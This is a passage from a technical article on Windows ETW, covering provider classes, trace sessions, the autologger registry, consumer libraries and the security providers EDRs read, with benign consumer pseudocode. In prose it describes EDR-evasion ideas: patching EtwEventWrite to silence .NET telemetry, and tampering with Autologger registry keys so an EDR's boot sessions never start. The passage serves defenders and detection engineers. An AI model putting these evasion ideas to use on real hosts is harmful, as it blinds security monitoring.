&lt;p&gt;A 2007-era driver author shipping the inaugural &lt;code&gt;Microsoft-Windows-Kernel-Process&lt;/code&gt; provider, GUID &lt;code&gt;{22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716}&lt;/code&gt;, authored a manifest declaring &lt;code&gt;ProcessStart&lt;/code&gt; (event ID 1), &lt;code&gt;ProcessStop&lt;/code&gt; (event ID 2), &lt;code&gt;ImageLoad&lt;/code&gt; (event ID 5), and so on. Defender&apos;s &lt;code&gt;MsMpEng.exe&lt;/code&gt; could subscribe; the future CrowdStrike Falcon could subscribe; the future Sysmon could subscribe; the future SilkETW researchers could subscribe. None starves another. The Vista unification is the architectural enabler of the modern multi-EDR Windows endpoint.&lt;/p&gt;
&lt;p&gt;With multi-consumer concurrency solved, the next problems were authoring overhead and producer integrity. Two parallel paths branched off the Vista manifest model: TraceLogging for the first, the EtwTi PPL/ELAM gate for the second.&lt;/p&gt;
&lt;h2&gt;5. Two more provider classes: WPP for the kernel tree, TraceLogging for the app tier&lt;/h2&gt;
&lt;p&gt;Vista&apos;s manifest-based providers solved coexistence and decoding, but they were heavy to deploy. Microsoft shipped two more provider classes -- one older than Vista and one younger -- that traded manifest deployment for two different kinds of simplicity.&lt;/p&gt;
&lt;h3&gt;WPP: the C-preprocessor approach&lt;/h3&gt;
&lt;p&gt;WPP -- Windows software trace PreProcessor -- predates Vista. Community references and the Park &amp;amp; Buch description of ETW being &quot;abstracted into the Windows preprocessor (WPP) software tracing technology&quot; [@ms-park-buch-2007] place its first WDK ship in the Windows XP era; no Microsoft primary pins a specific build. It became the standard tracing facility inside the Windows kernel tree itself for years. The WDK page [@ms-wpp] [@ms-wpp] frames its purpose:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;WPP software tracing supplements and enhances WMI event tracing by adding ways to simplify tracing the operation of the trace provider. It is an efficient mechanism for the trace provider to log real-time binary messages.&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;A WPP provider is authored in C with macros that look like printf calls. The C preprocessor expands &lt;code&gt;DoTraceMessage(FlagId, &quot;Frobnicating widget %d&quot;, widgetId)&lt;/code&gt; into an &lt;code&gt;EventWrite&lt;/code&gt; call against an auto-generated provider GUID. Format strings are extracted at build time into a &lt;em&gt;Trace Message Format&lt;/em&gt; file embedded in the binary&apos;s &lt;code&gt;.pdb&lt;/code&gt;. The producer cost is the smallest of any ETW provider class: emitting an event is a function call plus a few stores into a buffer. There is no manifest to deploy, no XML to author.&lt;/p&gt;
&lt;p&gt;The corresponding decode cost is the highest. A WPP event arrives at the consumer as a binary payload referencing a TMF identifier. To turn that into a human-readable message the consumer needs the producer&apos;s &lt;code&gt;.pdb&lt;/code&gt; file. If you do not have the symbols for the binary that emitted the event, you do not know what the event means.&lt;/p&gt;
&lt;p&gt;That decode cost is why WPP did not become the EDR substrate. Sealighter&apos;s README puts the operational consequence verbatim:&lt;/p&gt;

A C-preprocessor-based ETW authoring path inherited from the XP-era WDK. Format strings are extracted to a TMF resource that lives in the producer&apos;s `.pdb`. Producer cost is minimal; decode cost requires the producer&apos;s symbol files. WPP providers inherit the classic one-session-per-provider cap and are pervasively used inside Windows itself for in-tree dev-time tracing.
&lt;blockquote&gt;
&lt;p&gt;&quot;WPP traces compounds the issues, providing almost no easy-to-find data about provider and their events.&quot; -- Sealighter README [@gh-sealighter] [@gh-sealighter]&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;WPP providers also inherit the classic one-session-per-provider cap [@ms-about-etw] [@ms-about-etw], which would have made them unworkable for multi-EDR consumption even if the decode problem were solved. So WPP became the kernel-tree internal tracing facility -- ubiquitous inside Microsoft&apos;s source tree, irrelevant outside it.&lt;/p&gt;
&lt;h3&gt;TraceLogging: schema in the payload&lt;/h3&gt;
&lt;p&gt;Eight years after Vista, in Windows 10 (2015), Microsoft shipped a parallel path that solved a different problem. TraceLogging [@ms-tracelogging-about] [@ms-tracelogging-about] keeps the eight-session cap of manifest providers but eliminates the manifest deployment burden:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;TraceLogging is a system for logging events that can be decoded without a manifest.&quot; -- Microsoft Learn, About TraceLogging [@ms-tracelogging-about] [@ms-tracelogging-about]&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;A TraceLogging event carries its own schema inline. The event payload is a sequence of typed-length-value triples: a one-byte type tag, a length, and the data. A consumer that has never seen the provider before can still decode the event because the names and types of every field are &lt;em&gt;in the event&lt;/em&gt;. The provider author needs no XML manifest, no &lt;code&gt;mc.exe&lt;/code&gt;, no &lt;code&gt;wevtutil im&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The trade-off is per-event size. Inline schema strings cost bytes per event. For a high-volume provider emitting millions of events per minute, the per-event size matters and a manifest-based provider is correct. For a new component author who wants tracing without an install-time deployment dance, TraceLogging is the right answer.&lt;/p&gt;

A self-describing ETW provider class shipped in Windows 10. Schema is inline in each event payload as type-length-value triples; consumers decode without a manifest. Available from C/C++ via `TraceLoggingProvider.h`, from .NET via `EventSource` with `EtwSelfDescribingEventFormat`, and from WinRT via `LoggingChannel`. Inherits the eight-session cap from the manifest-based class.
&lt;p&gt;TraceLogging is also the unified path across runtimes. The same self-describing payload format is emitted from native C/C++, from .NET (when an &lt;code&gt;EventSource&lt;/code&gt; opts into &lt;code&gt;EtwSelfDescribingEventFormat&lt;/code&gt;), and from kernel-mode drivers [@ms-tracelogging-portal] [@ms-tracelogging-portal]. A consumer using TDH (the Trace Data Helper API) decodes them without distinguishing between the runtime that emitted them.&lt;/p&gt;
&lt;h3&gt;Four classes, four trade-offs&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Class&lt;/th&gt;
&lt;th&gt;First Shipped&lt;/th&gt;
&lt;th&gt;Schema Location&lt;/th&gt;
&lt;th&gt;Sessions/Provider&lt;/th&gt;
&lt;th&gt;Decode without symbols/manifest?&lt;/th&gt;
&lt;th&gt;Best for&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;MOF / classic&lt;/td&gt;
&lt;td&gt;2000&lt;/td&gt;
&lt;td&gt;WMI repository (&lt;code&gt;mofcomp&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;Needs MOF&lt;/td&gt;
&lt;td&gt;Legacy components; NT Kernel Logger&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;WPP&lt;/td&gt;
&lt;td&gt;~2002&lt;/td&gt;
&lt;td&gt;&lt;code&gt;.pdb&lt;/code&gt; (TMF)&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;No -- needs producer PDB&lt;/td&gt;
&lt;td&gt;In-tree Windows kernel dev-time tracing&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Manifest-based&lt;/td&gt;
&lt;td&gt;2007 (Vista)&lt;/td&gt;
&lt;td&gt;XML manifest, system-installed&lt;/td&gt;
&lt;td&gt;8&lt;/td&gt;
&lt;td&gt;Needs installed manifest&lt;/td&gt;
&lt;td&gt;Shipping security telemetry&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;TraceLogging&lt;/td&gt;
&lt;td&gt;2015 (Win10)&lt;/td&gt;
&lt;td&gt;Inline TLV in payload&lt;/td&gt;
&lt;td&gt;8&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;New apps and services; cross-runtime&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;Sources for the table: [@ms-about-etw, @ms-etw-config, @ms-tracelogging-about, @ms-wpp].&lt;/p&gt;

For new shipping Windows components with a known event vocabulary and high volume, choose manifest-based: smallest per-event size, evtx integration, eight-consumer concurrency. For new cross-runtime open-source providers where deployment friction matters, choose TraceLogging: same eight-consumer concurrency, no XML to author, decodable everywhere. For in-source-tree dev-time tracing inside a binary you already have symbols for, WPP is fine. For new security-relevant providers, never choose classic: the one-session cap is structurally incompatible with multi-EDR coexistence.
&lt;p&gt;Four provider classes, four trade-offs. But every one of them shares a structural weakness: the producer fires from inside the calling process, and any code in that process can patch the runtime entry-point and silence the provider for itself. That is the weakness Adam Chester made famous in 2020, and the one EtwTi was built to defeat.&lt;/p&gt;
&lt;h2&gt;6. Sessions, buffers, and the autologger registry: where the telemetry actually lives&lt;/h2&gt;
&lt;p&gt;Open &lt;code&gt;regedit&lt;/code&gt; on a Windows host and navigate to &lt;code&gt;HKLM\SYSTEM\CurrentControlSet\Control\WMI\Autologger&lt;/code&gt;. You are looking at the persistence surface of every trace session that survives a reboot on this machine -- and the persistence surface every modern EDR uses to install itself.&lt;/p&gt;
&lt;p&gt;A session is the unit ETW actually exposes to controllers. It owns a per-session pool of buffers, a writer thread, a destination (file or real-time consumer), and a list of providers it has subscribed to. The lifecycle is short. A controller fills out an &lt;code&gt;EVENT_TRACE_PROPERTIES&lt;/code&gt; structure [@ms-event-trace-props] [@ms-event-trace-props] with a session name, buffer size, logging mode, and destination, then calls &lt;code&gt;StartTrace&lt;/code&gt;. The kernel allocates the buffers -- at least two per logical processor [@ms-event-trace-props] [@ms-event-trace-props] -- and returns a session handle. The controller then calls &lt;code&gt;EnableTraceEx2&lt;/code&gt; [@ms-enabletraceex2] [@ms-enabletraceex2] for each provider it wants to subscribe to, passing &lt;code&gt;EVENT_CONTROL_CODE_ENABLE_PROVIDER&lt;/code&gt; along with the provider GUID, level, and keyword bitmask.&lt;/p&gt;
&lt;p&gt;If the provider&apos;s per-class session cap is already saturated, &lt;code&gt;EnableTraceEx2&lt;/code&gt; returns &lt;code&gt;ERROR_NO_SYSTEM_RESOURCES&lt;/code&gt;. If the caller lacks the privilege to enable that provider, it returns &lt;code&gt;ERROR_ACCESS_DENIED&lt;/code&gt;. We will see both error codes again later, on different paths.The default buffer size sweet spot is small. The Microsoft Learn primary states it explicitly: &quot;Trace sessions with large buffers (256KB or larger) should be used only for diagnostic investigations or testing, not for production tracing.&quot; [@ms-event-trace-props] Production session buffer sizes typically sit in the 32-64KB range.&lt;/p&gt;
&lt;p&gt;There are three logging modes. &lt;em&gt;File mode&lt;/em&gt; writes events to a sequential &lt;code&gt;.etl&lt;/code&gt; file on disk; the writer thread drains buffers to disk and the file grows. &lt;em&gt;Circular mode&lt;/em&gt; writes to a fixed-size file in a circular buffer; old events are overwritten when the file fills. &lt;em&gt;Real-time mode&lt;/em&gt; delivers events to a real-time consumer process via a kernel callback. Defender, EDR sensors, and Sysmon all use real-time mode for their hot paths; they may also write to file as a forensic backup.&lt;/p&gt;

A process that calls `OpenTrace` with `LogFileMode = EVENT_TRACE_REAL_TIME_MODE` and receives events live via a registered callback rather than from an `.etl` file on disk. Real-time consumers must keep up with producer rate or events are lost.
&lt;p&gt;The autologger registry path is what makes a session survive a reboot. A subkey under &lt;code&gt;HKLM\SYSTEM\CurrentControlSet\Control\WMI\Autologger\&amp;lt;SessionName&amp;gt;&lt;/code&gt; defines a session that the kernel starts at boot, before most user-mode services are running. Each subkey&apos;s values configure the session: &lt;code&gt;BufferSize&lt;/code&gt;, &lt;code&gt;MaximumBuffers&lt;/code&gt;, &lt;code&gt;LogFileMode&lt;/code&gt;, &lt;code&gt;FileName&lt;/code&gt;, plus a nested &lt;code&gt;&amp;lt;SessionName&amp;gt;\&amp;lt;ProviderGuid&amp;gt;&lt;/code&gt; subkey for each provider to enable.&lt;/p&gt;

A registry-persisted boot-time ETW session. The kernel reads `HKLM\SYSTEM\CurrentControlSet\Control\WMI\Autologger\` at boot, creates the session, enables the configured providers, and begins capture before user-mode services start. Defender&apos;s Sense agent, CrowdStrike&apos;s Falcon sensor, and Sysmon&apos;s driver all install autologgers here.
&lt;p&gt;Defender&apos;s &lt;code&gt;DiagTrack&lt;/code&gt;, &lt;code&gt;Microsoft-Windows-Diagnosis-PCW&lt;/code&gt;, the SQM kernel logger, the EventLog-Application channel autologger -- all live here (observable via &lt;code&gt;logman query -ets&lt;/code&gt; on a stock Windows install). Third-party EDRs add their own. The Palantir CIRT taxonomy [@palantir-tampering-wayback] (about which more in section 11) frames this registry surface as the persistent-tampering target: an attacker who can write to this subtree can disable an EDR&apos;s boot-time tracing without ever interacting with the running EDR process. The events of interest never get captured because the session never starts.&lt;/p&gt;
&lt;p&gt;There is a related concept worth naming: the &lt;em&gt;Global Logger&lt;/em&gt;. This is a special autologger session whose configuration lives in &lt;code&gt;HKLM\SYSTEM\CurrentControlSet\Control\WMI\GlobalLogger&lt;/code&gt;. It is the boot-time tracing path that comes online before any user-mode service, including before Sense and the EDR sensor. It exists to capture early-boot kernel events that no later session can record.&lt;/p&gt;

flowchart TD
    R[HKLM\SYSTEM\CurrentControlSet\Control\WMI\Autologger\] --&amp;gt; S1[DiagTrack-Listener]
    R --&amp;gt; S2[Defender-Listener]
    R --&amp;gt; S3[ThirdPartyEDR-Sensor]
    R --&amp;gt; SG[GlobalLogger]
    S2 --&amp;gt; S2P[Provider GUIDs subkeys]
    S2 --&amp;gt; S2C[BufferSize / MaximumBuffers / LogFileMode]
    S2 --&amp;gt; S2F[FileName=.etl path]
    S2P --&amp;gt; KS[Kernel reads at boot]
    S2C --&amp;gt; KS
    S2F --&amp;gt; KS
    KS --&amp;gt; Started[Session started before user-mode services]
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; &lt;code&gt;logman query -ets&lt;/code&gt; enumerates every live trace session on the host. Cross-reference against the subkeys in &lt;code&gt;HKLM\SYSTEM\CurrentControlSet\Control\WMI\Autologger\&lt;/code&gt; to find sessions configured to start at boot. Any unauthorised entry -- a session you do not recognise, an autologger pointed at a destination outside your EDR&apos;s data path, a provider GUID you cannot account for -- belongs in your incident response queue. We return to this in section 14.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;code&gt;ERROR_NO_SYSTEM_RESOURCES&lt;/code&gt; from &lt;code&gt;EnableTraceEx2&lt;/code&gt; is the runtime symptom of the eight-session cap binding [@ms-enabletraceex2]. SOC engineers debugging multi-EDR coexistence problems should look for it in their sensor&apos;s diagnostic output. Eight subscribers per manifest provider is enough for the typical Defender + third-party EDR + Sysmon + research tap arrangement, but a host running multiple research-mode tracers can saturate it.&lt;/p&gt;
&lt;p&gt;Persistence solved: a session the OS starts at every boot. But who reads it? That requires a consumer process, and consumers are where the architecture forks along the security spectrum.&lt;/p&gt;
&lt;h2&gt;7. Consumer architecture: from &lt;code&gt;OpenTrace&lt;/code&gt; to KrabsETW to a 30-line process watcher&lt;/h2&gt;
&lt;p&gt;The consumer side of ETW is mechanically simple -- three calls to open a trace, register a callback, and process events -- but the choice of library tells you almost everything about what kind of EDR you are building.&lt;/p&gt;
&lt;p&gt;The native pattern is three Win32 calls. &lt;code&gt;EnableTraceEx2&lt;/code&gt; subscribes the session to a provider GUID with a level and keyword bitmask. &lt;code&gt;OpenTrace&lt;/code&gt; returns a handle on the session for consumption. &lt;code&gt;ProcessTrace&lt;/code&gt; blocks the calling thread, drains events from the kernel&apos;s per-CPU buffers, and dispatches each one to a registered callback. Each event arrives as an &lt;code&gt;EVENT_RECORD&lt;/code&gt; containing a header (provider GUID, event ID, level, keyword, opcode, timestamp, process ID, thread ID) and a payload that the consumer decodes.&lt;/p&gt;
&lt;p&gt;For manifest providers the consumer decodes via TDH (the Trace Data Helper API) against the system-installed manifest. For TraceLogging providers the consumer decodes from the inline TLV payload. For classic and WPP providers the consumer needs the MOF schema or the producer&apos;s PDB respectively.&lt;/p&gt;

The Win32 decoder API that turns a raw `EVENT_RECORD` payload into typed fields, using the registered manifest as the schema source. `TdhGetEventInformation` returns a `TRACE_EVENT_INFO` structure with the field names, types, and offsets; `TdhFormatProperty` extracts each field. TDH is what makes manifest events self-describing at the consumer end, even though the schema lives out of band.

sequenceDiagram
    participant C as Consumer process
    participant K as Kernel ETW subsystem
    participant P as Provider process
    C-&amp;gt;&amp;gt;K: StartTrace(session)
    C-&amp;gt;&amp;gt;K: EnableTraceEx2(session, providerGuid, level, keyword)
    K--&amp;gt;&amp;gt;P: Provider notified to begin emitting
    C-&amp;gt;&amp;gt;K: OpenTrace(session)
    K--&amp;gt;&amp;gt;C: TraceHandle
    C-&amp;gt;&amp;gt;K: ProcessTrace(handle) [blocking]
    P-&amp;gt;&amp;gt;K: EventWrite(payload)
    K--&amp;gt;&amp;gt;C: callback(EVENT_RECORD)
    P-&amp;gt;&amp;gt;K: EventWrite(payload)
    K--&amp;gt;&amp;gt;C: callback(EVENT_RECORD)
    Note over C,K: ProcessTrace returns only when session ends
&lt;p&gt;In production almost no one writes the raw three-call pattern. The library universe settled into a small set of widely-used wrappers, and the choice of wrapper maps almost one-to-one onto the kind of EDR the engineering team is building.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;krabsetw&lt;/strong&gt; [@gh-krabsetw] [@gh-krabsetw] is a Microsoft-authored C++ library that simplifies session and provider management. Its README explicitly notes the production caller: a C++/CLI wrapper called &lt;code&gt;Microsoft.O365.Security.Native.ETW&lt;/code&gt;, &quot;used in production by the Office 365 Security team. It&apos;s affectionately referred to as Lobsters.&quot; If you are building an in-house EDR or a security analytics pipeline in C++ on Windows, krabsetw is the default choice.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Microsoft.Diagnostics.Tracing.TraceEvent&lt;/strong&gt; [@nuget-traceprocessing] [@nuget-traceprocessing] is the general-purpose .NET ETW library, distributed as a NuGet package and used heavily inside the .NET diagnostics community. Microsoft&apos;s separate &lt;code&gt;Microsoft.Windows.EventTracing.Processing.All&lt;/code&gt; package is the .NET TraceProcessing API [@ms-etw-portal] [@ms-etw-portal] that the Windows engineering team uses internally to analyze ETW data from the Windows engineering system.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;SilkETW&lt;/strong&gt; [@gh-silketw] [@gh-silketw], originally released by Ruben Boonen at FireEye in March 2019 [@fireeye-silketw-launch] [@fireeye-silketw-launch] (now maintained by Mandiant), wraps &lt;code&gt;Microsoft.Diagnostics.Tracing.TraceEvent&lt;/code&gt; to expose ETW telemetry to detection-engineering and threat-hunting workflows. SilkETW is the canonical &quot;blue team research&quot; consumer: the tool you reach for when you want to see what events a provider actually emits without writing C++.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Sealighter&lt;/strong&gt; [@gh-sealighter] [@gh-sealighter], by &lt;code&gt;pathtofile&lt;/code&gt;, is a krabsetw-wrapping C++ tool that makes multi-provider subscription and filtering tractable from a JSON config. The README states: &quot;Sealighter leverages the feature-rich Krabs ETW Library to enable detailed filtering and triage of ETW and WPP Providers and Events.&quot; Sealighter is the canonical &quot;red/blue team triage&quot; consumer: more flexible than SilkETW, less code to write than raw krabsetw.&lt;/p&gt;
&lt;p&gt;The pitfalls are universal across all four libraries. The krabsetw README spells two of them out:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;The call to &apos;start&apos; on the trace object is blocking so thread management may be necessary.&quot; -- [@gh-krabsetw]&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;Throwing exceptions in the event handler callback ... will cause the trace to stop processing events.&quot; -- [@gh-krabsetw]&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Both have caused real production outages. An EDR that throws an unhandled exception in its event callback dies silently as an ETW consumer, and the next event the provider emits goes nowhere.The &quot;throwing in the callback stops the trace&quot; pitfall is the gotcha that bites every team writing their first ETW consumer. The kernel does not catch the exception; the trace simply ends. A production-quality consumer wraps every callback in try/catch (or its language equivalent) and routes failures through a side channel, not through the trace itself.&lt;/p&gt;
&lt;p&gt;To make the structure concrete, here is what a 30-line &lt;code&gt;Microsoft-Windows-Kernel-Process&lt;/code&gt; real-time consumer looks like, written in TypeScript pseudocode that mirrors the structure a Sealighter or krabsetw user would write:&lt;/p&gt;
&lt;p&gt;{`
// Pseudocode: the structure of a krabsetw / Sealighter consumer
// for the Microsoft-Windows-Kernel-Process provider.&lt;/p&gt;
&lt;p&gt;const KERNEL_PROCESS_GUID = &quot;{22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716}&quot;;&lt;/p&gt;
&lt;p&gt;const session = new UserTraceSession(&quot;MyEdrSensor&quot;);&lt;/p&gt;
&lt;p&gt;const provider = new Provider(KERNEL_PROCESS_GUID);
provider.level = TraceLevel.Information;
provider.anyKeyword = 0xFFFFFFFFFFFFFFFFn;&lt;/p&gt;
&lt;p&gt;provider.onEvent = (event) =&amp;gt; {
  try {
    switch (event.id) {
      case 1: // ProcessStart
        const pid = event.fields.ProcessID;
        const imageName = event.fields.ImageName;
        const cmdLine = event.fields.CommandLine;
        console.log(`Process start pid=${pid} image=${imageName}`);
        break;
      case 2: // ProcessStop
        console.log(`Process stop pid=${event.fields.ProcessID}`);
        break;
      case 5: // ImageLoad
        console.log(`Image load ${event.fields.ImageName} into pid=${event.fields.ProcessID}`);
        break;
    }
  } catch (e) {
    // never let an exception escape the callback
    sideChannelLog(e);
  }
};&lt;/p&gt;
&lt;p&gt;session.enable(provider);
session.start();  // blocks until session.stop() is called
`}&lt;/p&gt;
&lt;p&gt;That code, in production form, is a working EDR sensor&apos;s process watcher. Every commercial Windows EDR has something with the same structure inside it.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; krabsetw wraps the C++ surface and is the default for production in-house EDRs. TraceEvent wraps .NET and is the default for diagnostics tooling. SilkETW exposes ETW to detection engineers without C++. Sealighter wraps krabsetw with a config file for triage. Pick the library that matches the team that will own the consumer, not the one that looks most powerful.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;This is what Sysmon, Wazuh, and Elastic Defend look like under the hood -- a SYSTEM-privileged user-mode service consuming public providers. But there is one provider this code cannot subscribe to. Try it and &lt;code&gt;EnableTraceEx2&lt;/code&gt; returns &lt;code&gt;ERROR_ACCESS_DENIED&lt;/code&gt;. The next two sections are about the GUID that requires a passport.&lt;/p&gt;
&lt;h2&gt;8. The security provider catalogue: what EDRs actually read&lt;/h2&gt;
&lt;p&gt;There are roughly 1,300 manifest-based providers shipped on a 2026 Windows 11 24H2 install -- the community-maintained jdu2600 inventory [@gh-jdu2600] [@gh-jdu2600] tracks the count across builds, and the repnz manifest archive [@gh-repnz] [@gh-repnz] holds byte-stable copies of the manifests for cross-version diffing. Eight of those providers carry almost all the security telemetry the EDR vendors read. This is the catalogue.&lt;/p&gt;
&lt;h3&gt;&lt;code&gt;Microsoft-Windows-Security-Auditing&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;GUID &lt;code&gt;{54849625-5478-4994-A5BA-3E3B0328C30D}&lt;/code&gt;. The audit-policy-driven Security event log producer. Event ID 4624 (logon), 4625 (failed logon), 4634 (logoff), 4688 (process create with command line) [@learn-microsoft-com-event-4688] [@ms-event-4624], 4689 (process exit), and the broader subcategory audit policy events. This is the closure for the legacy Security event log: when an administrator turns on &quot;audit logon events&quot; in the local security policy, this is the provider that emits the events. EDRs that consume it are reading the same stream the Event Viewer&apos;s Security log shows.&lt;/p&gt;
&lt;h3&gt;&lt;code&gt;Microsoft-Windows-Kernel-Process&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;GUID &lt;code&gt;{22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716}&lt;/code&gt;. The canonical real-time process telemetry source for non-PPL EDR. Event ID 1 fires on &lt;code&gt;ProcessStart&lt;/code&gt; with PID, parent PID, image name, command line, and SID; event ID 2 on &lt;code&gt;ProcessStop&lt;/code&gt;; event ID 3 on thread create; event ID 4 on thread exit; event ID 5 on &lt;code&gt;ImageLoad&lt;/code&gt; with the loaded module name and base address. SilkETW&apos;s launch post enumerates the event record format inline [@fireeye-silketw-launch] [@fireeye-silketw-launch]. This provider is widely cited in EDR community documentation as available since Windows 7, though no Microsoft primary pins the exact build.&lt;/p&gt;
&lt;h3&gt;&lt;code&gt;Microsoft-Windows-Kernel-File&lt;/code&gt;, &lt;code&gt;Microsoft-Windows-Kernel-Network&lt;/code&gt;, &lt;code&gt;Microsoft-Windows-Kernel-Registry&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;The per-subsystem siblings of &lt;code&gt;Kernel-Process&lt;/code&gt;. &lt;code&gt;Kernel-File&lt;/code&gt; surfaces file open / close / read / write / delete operations with the file path and the operating PID. &lt;code&gt;Kernel-Network&lt;/code&gt; surfaces TCP and UDP send / receive with the local and remote endpoints. &lt;code&gt;Kernel-Registry&lt;/code&gt; surfaces registry create / open / set value / delete with the key path and value name. All three use the manifest-based class and inherit the eight-session cap. EDRs that want full-fidelity per-syscall telemetry without writing kernel callbacks subscribe to these three.&lt;/p&gt;
&lt;h3&gt;&lt;code&gt;Microsoft-Antimalware-Scan-Interface&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;GUID &lt;code&gt;{2A576B87-09A7-520E-C21A-4942F0271D67}&lt;/code&gt;, documented in the Microsoft Learn AMSI portal [@ms-amsi-portal] [@ms-amsi-portal] and surveyed in the Palantir CIRT taxonomy [@palantir-tampering-wayback] [@palantir-tampering-wayback]. This is the ETW provider that surfaces AMSI scan results: a script block submitted by PowerShell, JScript, VBA, an Office macro engine, or any other AMSI client comes through here &lt;em&gt;after deobfuscation&lt;/em&gt;. Whatever string the script engine is about to execute, the registered antimalware engine sees in plaintext, and the result of the scan is published via this provider for any listener.&lt;/p&gt;

A COM interface exposed by Windows since 2015 that script engines and runtime hosts can call into to submit content for malware scanning. The Microsoft Learn AMSI portal lists PowerShell, JScript and VBScript via Windows Script Host, Office VBA macros, and User Account Control as in-box integrators [@ms-amsi-portal]; the .NET CLR&apos;s assembly load path joined the list with .NET Framework 4.8, as documented in Adam Chester&apos;s CLR walk-through [@xpn-hiding-dotnet]. The scanned content is the post-deobfuscation form -- the actual code about to execute, not the obfuscated wrapper. Scan results surface via the `Microsoft-Antimalware-Scan-Interface` ETW provider.
&lt;p&gt;The AMSI Operational event log channel typically appears empty by default. The Palantir taxonomy [@palantir-tampering-wayback] [@palantir-tampering-wayback] notes the keyword bitmask configured for the channel does not surface scan-result events. The events fire on the ETW bus and can be consumed in real time, but they do not land in the user-visible evtx log unless the consumer reconfigures the keyword mask.&lt;/p&gt;
&lt;h3&gt;&lt;code&gt;Microsoft-Windows-PowerShell&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;GUID &lt;code&gt;{a0c1853b-5c40-4b15-8766-3cf1c58f985a}&lt;/code&gt;. Event ID 4104 is the script-block-logging event that records each PowerShell script block before execution; event ID 4103 records pipeline execution detail; event ID 4100 records errors. The Microsoft Learn &lt;code&gt;about_Logging_Windows&lt;/code&gt; reference (Windows PowerShell 5.1) [@ms-powershell-logging] [@ms-powershell-logging] documents EID 4104 verbatim (&quot;&lt;code&gt;EventId 4104 / 0x1008&lt;/code&gt; ... &lt;code&gt;Channel Operational&lt;/code&gt; ... &lt;code&gt;Task CommandStart&lt;/code&gt;&quot;) and the script-block-logging configuration. PowerShell Core 7+ uses a separate ETW provider (&lt;code&gt;PowerShellCore&lt;/code&gt;, GUID &lt;code&gt;{f90714a8-5509-434a-bf6d-b1624c8a19a2}&lt;/code&gt;). Combined with AMSI the two providers give an EDR the executed PowerShell content twice: once at AMSI submission, once at script-block logging. Detection engineers use both as cross-checks.&lt;/p&gt;
&lt;h3&gt;&lt;code&gt;Microsoft-Windows-DotNETRuntime&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;GUID &lt;code&gt;{e13c0d23-ccbc-4e12-931b-d9cc2eee27e4}&lt;/code&gt;, verbatim in Adam Chester&apos;s PoC source [@xpn-hiding-dotnet] [@xpn-hiding-dotnet]. The .NET CLR provider. Surfaces assembly load events, JIT compilation, AppDomain creation, exception throws. Critical for detecting Cobalt Strike&apos;s &lt;code&gt;execute-assembly&lt;/code&gt; style of in-memory .NET payload loading. This is the provider that goes dark in the section 1 hook scene after the operator&apos;s &lt;code&gt;EtwEventWrite&lt;/code&gt; patch.This is the provider Adam Chester targeted in the canonical March 17, 2020 ETW patching post [@xpn-hiding-dotnet]. The Cobalt Strike &lt;code&gt;execute-assembly&lt;/code&gt; workflow produces a loud signal here -- &quot;assembly X loaded into PID Y from in-memory source Z&quot; -- so silencing it locally was a valuable evasion. The story comes back in section 11.&lt;/p&gt;
&lt;h3&gt;&lt;code&gt;Microsoft-Windows-Sysmon&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;GUID &lt;code&gt;{5770385F-C22A-43E0-BF4C-06F5698FFBD9}&lt;/code&gt;, surfaced by &lt;code&gt;wevtutil gp Microsoft-Windows-Sysmon&lt;/code&gt; and inventoried in [@gh-jdu2600]; the Microsoft Learn Sysmon page by Russinovich and Garnier [@ms-sysmon] [@ms-sysmon] documents authorship, the protected-process status, and the &lt;code&gt;Microsoft-Windows-Sysmon/Operational&lt;/code&gt; channel. This is the &lt;em&gt;publishing&lt;/em&gt; side of Sysmon. Sysmon&apos;s kernel driver &lt;code&gt;SysmonDrv.sys&lt;/code&gt; collects events through &lt;code&gt;PsSetCreateProcessNotifyRoutineEx&lt;/code&gt; and friends; the user-mode service then republishes via this ETW provider so any consumer (a SIEM forwarder, a SOC dashboard, a custom analytic) can subscribe without writing its own kernel driver. Events also land in the &lt;code&gt;Microsoft-Windows-Sysmon/Operational&lt;/code&gt; evtx channel.&lt;/p&gt;
&lt;h3&gt;&lt;code&gt;Microsoft-Windows-Threat-Intelligence&lt;/code&gt; (EtwTi)&lt;/h3&gt;
